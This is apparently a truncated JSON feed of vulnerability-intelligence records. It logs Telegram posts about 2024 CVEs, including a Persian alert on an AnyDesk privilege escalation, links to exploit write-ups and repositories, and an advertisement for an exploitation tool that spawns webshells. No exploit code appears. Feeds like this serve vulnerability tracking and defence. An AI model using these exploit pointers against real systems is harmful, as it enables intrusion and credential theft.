\u062e\u0637\u0631\u0646\u0627\u06a9 Anydesk ! \u0628\u0631\u0648\u0632 \u06a9\u0646\u06cc\u062f!\n\ud83d\udd34\u06cc\u06a9 \u0636\u0639\u0641 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u062f\u0631 AnyDesk \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0627 \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u062a\u0635\u0648\u06cc\u0631 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647 \u0648\u06cc\u0646\u062f\u0648\u0632 \u062f\u0631 \u062c\u0644\u0633\u0627\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631 (Administrator) \u0628\u06af\u06cc\u0631\u0646\u062f! \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u0646\u0633\u062e\u0647 9.0.1 \u0628\u0631\u0637\u0631\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a \u2013 \u0647\u0645\u06cc\u0646 \u062d\u0627\u0644\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u06cc\u062f!\n\n\u26a1\ufe0f \u062c\u0632\u0626\u06cc\u0627\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc (CVE-2024-12754)\n\ud83d\udd34 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 AnyDesk \u062a\u0635\u0648\u06cc\u0631 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0633\u06cc\u0633\u062a\u0645\u06cc (SYSTEM) \u062f\u0631 \u0645\u0633\u06cc\u0631 C:\\Windows\\Temp \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\ud83d\udd34 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f \u0631\u0627 \u0631\u0647\u06af\u06cc\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0647 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u062d\u0633\u0627\u0633 \u0633\u06cc\u0633\u062a\u0645\u06cc \u0645\u062b\u0644 SAM\u060c SYSTEM \u0648 SECURITY \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f.\n\ud83d\udd34 \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0631\u0627\u06cc \u06af\u0631\u0641\u062a\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\u25c0\ufe0f\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 Naor Hodorov \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0628\u0631\u0646\u0627\u0645\u0647 Trend Micro Zero Day Initiative \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u2709\ufe0f @PingChannel\n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\u00a0 \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b", "creation_timestamp": "2025-02-06T23:46:42.000000Z"}, {"uuid": "deb802e6-d468-4efc-bb1e-1177246cb2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/EEmwsx5Raa0aAxA0DuOiTZexUCgMq_8cgq3XWUhyw5Ij3Q", "content": "", "creation_timestamp": "2024-05-01T12:01:36.000000Z"}, {"uuid": "28825004-9c37-4aa4-8a3c-98a011d18b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ton618cyber/6716", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "fb46373c-2f7b-4181-9500-19f01489b23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6704", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "913f597b-97f2-4f5b-99c2-1a4b2c3cd420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/2928", "content": "\ud83d\udea8CVE-2024-1212: Command Injection Exploit for Kemp LoadMaster\n\nhttps://darkwebinformer.com/cve-2024-1212-command-injection-exploit-for-kemp-loadmaster/", "creation_timestamp": "2024-09-04T18:43:51.000000Z"}, {"uuid": "edcaf837-c0d6-47f5-ba01-4ce13c4073f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "Telegram/-A1KUQpEaF_OE6KbX-bK0AxbjGCqeeDtuI0zxCUPzPMVQtVF", "content": "", "creation_timestamp": "2025-03-08T04:34:11.000000Z"}, {"uuid": "84105063-c24b-42ea-b9c6-3ef034d426cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/aGiEOLt66R_GPYni9sAb8cj24a0FQtLLwMdvkifLZPazqw", "content": "", "creation_timestamp": "2024-05-01T12:15:24.000000Z"}, {"uuid": "963d9aab-c542-4334-9e6d-bbcf769a7311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "Telegram/XPCogO68oESYzRzq0rnG1cKRvDKqDuMYJN9nNIoezMukKYLi", "content": "", "creation_timestamp": "2025-02-24T14:08:43.000000Z"}, {"uuid": "56c27d99-45ae-49e0-b6c7-77bd0f658f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "Telegram/5MMz7560EHzVHZZuc6APXGvpMAXs--ni5r_WSVH7rBOk_Hpa", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "ceafc10a-5efb-4c17-930a-08e00ea00e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "Telegram/voYaEE5Zev35Q585Y08x4rQXkyueSCEXMPCMaCaQx04lfMq7", "content": "", "creation_timestamp": "2025-03-08T04:35:53.000000Z"}, {"uuid": "e725e7d5-f3dc-43d5-9bb3-41b050673bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "Telegram/VTZvlUds-e0I9I86NsIp-SN_vZhA86g44TfXGddazxO5fBDE", "content": "", "creation_timestamp": "2025-02-17T23:39:44.000000Z"}, {"uuid": "4d9216ff-f9b6-4b69-aa51-d15cacf1dded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "Telegram/7Ee8Hn1hYmZmAyqC9sa4fdEVH5O7kx6eYpOGJaH3aGK1FJsy", "content": "", "creation_timestamp": "2025-02-06T02:40:47.000000Z"}, {"uuid": "c2dde9eb-9a14-4669-877a-054237b8488e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "Telegram/j6UJtWLuKRtOf8eW9u6xVUJtEgaydVbAeVU1MZWTTRptwOWW", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "47e98ef3-232a-4f64-bf1d-6a172f0e8109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "Telegram/RetDTQe4gf9XidjLfj0lnA2pVG--nwXh-AhkRjnrpVj0ANMA", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "237494d3-5029-4cca-9cee-c97c8cab8eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "Telegram/hJCZIrNDw1f28FLtqTOtqNVJBULTdfIuueU2sIbqFi6s6dun", "content": "", "creation_timestamp": "2025-02-21T12:35:18.000000Z"}, {"uuid": "6e9e879c-4fbd-4fa6-bed5-e6ce0809d5f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/03ProG_aSsOBxs0Iz_mqpSONf1h0Bjc41e6bDcTiczX4atpv", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "a2a04a1c-419c-4ec0-9772-fb9e2c8f45fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "Telegram/ODtKmxSagRGGLPM4CIfDJmidYPfyTP6byVWy0cFtYJWeJzjQ", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "b65ac049-1bfe-49e3-875d-3a3ce5961ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "Telegram/ptS41WHYGkK8-7TNW1SKpJmQ2vi0J6QQM-GEvnKDNpxMF8Os", "content": "", "creation_timestamp": "2025-03-02T11:46:29.000000Z"}, {"uuid": "308746d8-4dc2-4e80-b93a-335edbd477ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "Telegram/nxkekfYQh2Jd8u8Typs3jc_d9uXWkAISr8OFrX_w_-QWkHmk", "content": "", "creation_timestamp": "2025-03-02T11:46:29.000000Z"}, {"uuid": "c95a4fb2-eb4b-4194-83d5-9a8a85d0426b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "Telegram/FrCx6pu5wuNUy_J5QObHRSbM3JY0FQYEyyxhs9GQ6xHUAPRW", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "1075c935-f5c5-4420-8cd2-840d3a259721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "Telegram/fjjOxxWjkfg9qUXECIHsvuyBdyIQzH60wabWSFmc2xlT4Msi", "content": "", "creation_timestamp": "2025-02-21T15:03:13.000000Z"}, {"uuid": "ad244dad-8b6c-4df1-a4a7-6de62c18c4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "Telegram/28de5MNI4hISloSxqgQQ_rvK-XKntzz9jDUltlkwA-5hQr2Z", "content": "", "creation_timestamp": "2025-02-20T23:27:06.000000Z"}, {"uuid": "de3cfd8c-934a-4030-96e4-50b80a029e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/UNBx4TUwIdIM61cIiunSJpVnzNfd2CHxBlPFE0QOFz9Dq2pw", "content": "", "creation_timestamp": "2025-02-06T02:40:19.000000Z"}, {"uuid": "a3dc4443-d351-4fbc-b1f4-fbf23a6bd00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "Telegram/cNHz2WIqvypLYxSi6vlQDxxMDAeiIhgPdHWn4S5Rx9t0uge9", "content": "", "creation_timestamp": "2025-02-14T10:04:03.000000Z"}, {"uuid": "daa45084-18f8-4c3c-b592-a6683ea760a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/7dZORug9wlYgQr8SgDaF1frGuxN2bNwOCI7flDB74Lc3L0yt", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "1f5a2eca-565d-4616-8619-a1daaab7abb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "Telegram/-XLKPYXdw1fvW30pxC6BHb4dPK0s6V-6GPKxTyRmB0tBbPAi", "content": "", "creation_timestamp": "2025-02-21T22:10:24.000000Z"}, {"uuid": "eeca6cb8-666d-448f-930e-8cb563bc2709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "Telegram/agErYGZGhUuKeh7ThxHziTxtX0x03fTxcfCitERdoYvRmsZS", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "e8521c8d-159f-40f3-8d8c-cca59513f2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/MDn3J-gZI7WnMy5prxbmMSmCuuwX13pC8UWTypDqOGxF42G_", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "c3999278-12bf-40b0-a4c0-e8e9bd69848f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12522", "type": "seen", "source": "Telegram/kqlj6TnqgBp9U0pklx5wSD5tio30hHP6GJLJD0eDPv_CZugr", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "06470955-973c-4a36-9ed1-e04c654a70c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "Telegram/qzFyNsNY2SbItVHGLPR9f8mPeURLdPPsne6tN29f9_YE3nc4", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "6f1fec57-3d49-4eb3-999d-d93a02ae36c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "Telegram/Hr7yEc-eBBoFgekUiOL3AtziWii9GYycnOpt3SsEz7lrUbn6", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "61ef594c-2c75-499d-b7fc-595d2faae0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "Telegram/Vj1TNfaxa_A-ifacp4G2Co4PJ9Y6Iti9rQPmBErmx1utlAGh", "content": "", "creation_timestamp": "2025-02-19T15:39:50.000000Z"}, {"uuid": "d1fa95c6-0ec8-4904-b664-f63e1c2635b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "Telegram/Kzcu-nWqygACCMOWBfIjlz_eAnGqhMjZ8fsj3WAwZDq0RWMl", "content": "", "creation_timestamp": "2025-02-14T10:08:08.000000Z"}, {"uuid": "2e6d7b1b-6e4f-4e73-9187-a68af9dca87d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/hH4WqOdTLN_sIM_JrrRZE3byiNE8kIoUzafkY6rCYGvPnDDT", "content": "", "creation_timestamp": "2025-02-14T10:06:08.000000Z"}, {"uuid": "f27b4cf2-f79c-4539-a36c-03791e854ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "Telegram/7O9Y543Gb-YKDw5A-C3--v8pzrSkQLMG9QABOQIXpw5ve9WJ", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "f5658378-e578-4847-b329-5722c8f5059b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/eHEjQCiSTDqdk9YFMewvBbbqxj24kA_-fNM16rcTTHsyl0hG", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "16e6df49-a8f7-4665-a20a-ce7cae624a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "Telegram/aSAkW0Hd1lYw4lMse1B7qTjY3rmkNgjzm9ftw5UOLFbYH4Ap", "content": "", "creation_timestamp": "2025-02-14T10:01:38.000000Z"}, {"uuid": "f19b9495-39df-400f-9f70-c20aa2929872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "Telegram/sCfhZSlThWRpjAJ-RnpM0kPA3kEWIT-TPa8V7c_DLtoQXB1h", "content": "", "creation_timestamp": "2025-02-14T10:04:58.000000Z"}, {"uuid": "6ac6f29a-f0aa-42e7-9d28-95197dae5dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "Telegram/ywR1DiyQtSb_DrEJKa7u6yfUtOVJG56e-GjYAA9u-_Wj4NHH", "content": "", "creation_timestamp": "2025-02-14T10:04:58.000000Z"}, {"uuid": "9fc4743d-3c1f-44f9-a04d-4096ea027ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/5ceKCrbz6lS0VVNgwRRpMRmgX1391Q6MmMiE2cXDw-oiXA9Y", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "95927a7e-ac29-4718-af3d-67f362e3585d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "Telegram/ACdvdw15_6xp7r3FPMrLgrxpzuBS_jC8LpST0Anu02-nLpl2", "content": "", "creation_timestamp": "2025-02-14T10:01:45.000000Z"}, {"uuid": "50d5f249-6fa5-4fab-b167-6d5d8c212a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/8ip-pwzBHH1m4p3Q4IpI85A9dmM4BiOFSIHf0q1CDfl3X_0r", "content": "", "creation_timestamp": "2025-02-14T10:01:39.000000Z"}, {"uuid": "ea7e5fae-e9d9-44dd-946b-e780d50d5d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "Telegram/YMCv5dMQxodcWu4TdnyjLFwpFk0jY6Qur6jrHl0dBqx_tOWG", "content": "", "creation_timestamp": "2025-02-06T02:44:20.000000Z"}, {"uuid": "3427457d-0fef-4940-832c-c6be9129ea71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "Telegram/j26DGJrd6hDEzfZlHw-97vNbm4BY4Cj8D1GznJ10D93Qv7eF", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "0a87b738-23e0-456e-bd64-a40f1f4d9352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "Telegram/-j5O-Ldxcg1PiO-VCZsMHKCB7R5yUlpJrhJxmMhs4aqXKTSr", "content": "", "creation_timestamp": "2025-02-06T02:44:19.000000Z"}, {"uuid": "61061e68-7259-40d8-be53-d8d1fa0630be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "Telegram/pPMDt4KpKuk3DCPZbSnXp6GmiHT4xLAS_OY0fUITyLeMfH5r", "content": "", "creation_timestamp": "2025-02-14T09:46:58.000000Z"}, {"uuid": "94ccfb34-4cf4-4e19-a4c9-53787a8e704d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1237", "type": "seen", "source": "Telegram/fudr4ZTrMHFqVgIv89IVFcIZJbrtqhHrmLVjBd0z2eCzKpES", "content": "", "creation_timestamp": "2025-02-06T02:44:20.000000Z"}, {"uuid": "ef45888f-afd5-42f9-a19e-3bdd7dcb0d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "Telegram/ixHUP-WXVna5A54N_tdhkTLJbC-a2sXWoIbUvUgXsFrYjtjj", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "4b46155c-82ec-4642-af3c-2f4026bad9eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "Telegram/H_sjgCE-h7FnF50YbBdLwAmcSesqgBogusiDwfeb13xGCAnS", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "f0a7ef7d-0468-470f-87ea-127b03f0caa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "Telegram/Vz13zTwm0TEGry8Mk8nOD5Bdc_tHpYiS9RQAQ7vfvwZR9kt4", "content": "", "creation_timestamp": "2025-02-14T10:09:24.000000Z"}, {"uuid": "c2879076-86dc-4b31-af6d-5fd3d4209e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "Telegram/5wtuBUawfmBgpqWWV5EHlsYg0fOU3PzyjHe2qzgYk5w-", "content": "", "creation_timestamp": "2024-06-14T14:38:05.000000Z"}, {"uuid": "09a87db1-eb35-4b37-b23b-095adf6a6d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/42136", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:16.000000Z"}, {"uuid": "054e3994-4b30-4ca5-8635-f47b2c34a4da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/4359", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing 